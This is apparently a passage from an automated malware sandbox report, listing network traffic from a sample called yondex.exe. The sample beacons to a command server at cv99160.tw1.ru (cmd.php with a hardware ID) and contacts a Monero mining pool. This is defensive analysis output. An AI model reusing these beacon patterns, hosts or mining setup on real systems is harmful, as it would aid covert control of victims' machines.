Jun 23, 2024 11:35:00.074038029 CEST	49888	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:00.074069023 CEST	443	49888	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:00.785201073 CEST	443	49888	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:00.786756992 CEST	49888	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:00.786842108 CEST	443	49888	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:01.126866102 CEST	443	49888	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:01.127049923 CEST	443	49888	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:01.127126932 CEST	49888	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:01.127403975 CEST	49888	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:02.557676077 CEST	49889	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:02.557776928 CEST	443	49889	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:02.557861090 CEST	49889	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:02.558094025 CEST	49889	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:02.558132887 CEST	443	49889	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:03.277863979 CEST	443	49889	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:03.279544115 CEST	49889	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:03.279596090 CEST	443	49889	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:03.626966000 CEST	443	49889	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:03.627115011 CEST	443	49889	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:03.627207041 CEST	49889	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:03.627398014 CEST	49889	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:03.628283024 CEST	49890	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:03.628355026 CEST	443	49890	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:03.628437042 CEST	49890	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:03.628681898 CEST	49890	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:03.628726959 CEST	443	49890	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:04.352106094 CEST	443	49890	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:04.353596926 CEST	49890	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:04.353646994 CEST	443	49890	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:04.698201895 CEST	443	49890	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:04.698367119 CEST	443	49890	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:04.698597908 CEST	49890	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:04.698709011 CEST	49890	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:06.968867064 CEST	49891	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:06.968960047 CEST	443	49891	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:06.969042063 CEST	49891	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:06.969398975 CEST	49891	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:06.969434977 CEST	443	49891	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:07.694642067 CEST	443	49891	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:07.696079016 CEST	49891	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:07.696161032 CEST	443	49891	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:08.040169001 CEST	443	49891	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:08.040322065 CEST	443	49891	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:08.040409088 CEST	49891	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:08.040549040 CEST	49891	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:08.041356087 CEST	49892	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:08.041450977 CEST	443	49892	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:08.041537046 CEST	49892	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:08.041807890 CEST	49892	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:08.041845083 CEST	443	49892	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:08.747780085 CEST	443	49892	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:08.749325991 CEST	49892	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:08.749387980 CEST	443	49892	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:09.091356039 CEST	443	49892	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:09.091531992 CEST	443	49892	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:09.091597080 CEST	49892	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:09.091851950 CEST	49892	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:09.429047108 CEST	3333	49843	141.94.96.71	192.168.2.4
Jun 23, 2024 11:35:09.500463009 CEST	49843	3333	192.168.2.4	141.94.96.71

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 23, 2024 11:31:10.780622959 CEST	61906	53	192.168.2.4	1.1.1.1
Jun 23, 2024 11:31:10.830748081 CEST	53	61906	1.1.1.1	192.168.2.4
Jun 23, 2024 11:31:12.198589087 CEST	49698	53	192.168.2.4	1.1.1.1
Jun 23, 2024 11:31:12.209815979 CEST	53	49698	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 23, 2024 11:31:10.780622959 CEST	192.168.2.4	1.1.1.1	0x802e	Standard query (0)	cv99160.tw1.ru	A (IP address)	IN (0x0001)	false
Jun 23, 2024 11:31:12.198589087 CEST	192.168.2.4	1.1.1.1	0x5123	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 23, 2024 11:31:10.830748081 CEST	1.1.1.1	192.168.2.4	0x802e	No error (0)	cv99160.tw1.ru		92.53.96.121	A (IP address)	IN (0x0001)	false
Jun 23, 2024 11:31:12.209815979 CEST	1.1.1.1	192.168.2.4	0x5123	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 23, 2024 11:31:12.209815979 CEST	1.1.1.1	192.168.2.4	0x5123	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Jun 23, 2024 11:31:12.209815979 CEST	1.1.1.1	192.168.2.4	0x5123	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false
Jun 23, 2024 11:31:12.209815979 CEST	1.1.1.1	192.168.2.4	0x5123	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cv99160.tw1.ru

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	92.53.96.121	443	6936	C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:11 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:12 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=9972c2334554062f25a153e736384962; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	92.53.96.121	443	6936	C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:13 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:13 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=5dfd13a2fbd8200ac0b97f259e04310b; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:13 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	92.53.96.121	443	6936	C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:14 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:14 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=fde6ef62d90f48fdf15ee313d769bdd0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	92.53.96.121	443	6936	C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:15 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:15 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=abddcc20d6662c2ece556dc338a4b9f3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:15 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	92.53.96.121	443	7568	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:21 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:21 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=87434c3954741ad76adc40e29ba1d45e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49738	92.53.96.121	443	7568	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:22 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:22 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=d33c6c0872914df4e0491810bbee114d; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:22 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49739	92.53.96.121	443	7568	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:23 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:23 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=de602d527296c699148e20cb557fb82f; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	92.53.96.121	443	7568	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:24 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:25 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=1c19c175874b76d1a6a52b596cdd9278; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:25 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49742	92.53.96.121	443	7568	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:25 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:26 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=778cf168785064e553e1193d53a50070; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49744	92.53.96.121	443	7568	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:27 UTC	168	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:27 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=e6158b8c5b10ecae63292e9c54b7694d; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:27 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	92.53.96.121	443	7864	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:33 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:33 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=cb6c50cb5830cd0f5d9513dc1500b7e8; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	92.53.96.121	443	7864	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:34 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:34 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=bb8981b999369c0639d06b6e13a823e4; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:34 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49751	92.53.96.121	443	7864	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:35 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:35 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=9f86a2418592531e6d7043c5087f4e7e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49752	92.53.96.121	443	7864	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:36 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:36 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=81dfcf86240e6ca062b82884b38c9d0c; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:36 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49753	92.53.96.121	443	7864	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:37 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:38 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=d6c522932764ed2efad9e948a1532833; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49755	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:44 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:44 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=7742708f929fc95c30887176d368f4ef; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49756	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:45 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:45 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=9b430adee248e7127b8d2d074aa89491; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:45 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49757	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:46 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:47 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=8d0d6877c4dd8b62bf2c0b84164d63c0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49758	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:48 UTC	168	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:48 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=725865cc4b1d781343cfab94871c4564; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:48 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49759	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:49 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:31:49 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=ba11adf49876910b7d9b54aa916bdc77; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49760	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:50 UTC	168	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:50 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=0efa7b9711a6b453b4cab730f7dbfa6a; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:50 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49761	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:51 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:51 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=c5af589d184bf6c6ee88b6ea7b13590d; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49762	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:52 UTC	168	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:31:53 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:31:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=d4b72a0e747e64b9fda7a8f2a161bf03; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:31:53 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49763	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:31:53 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
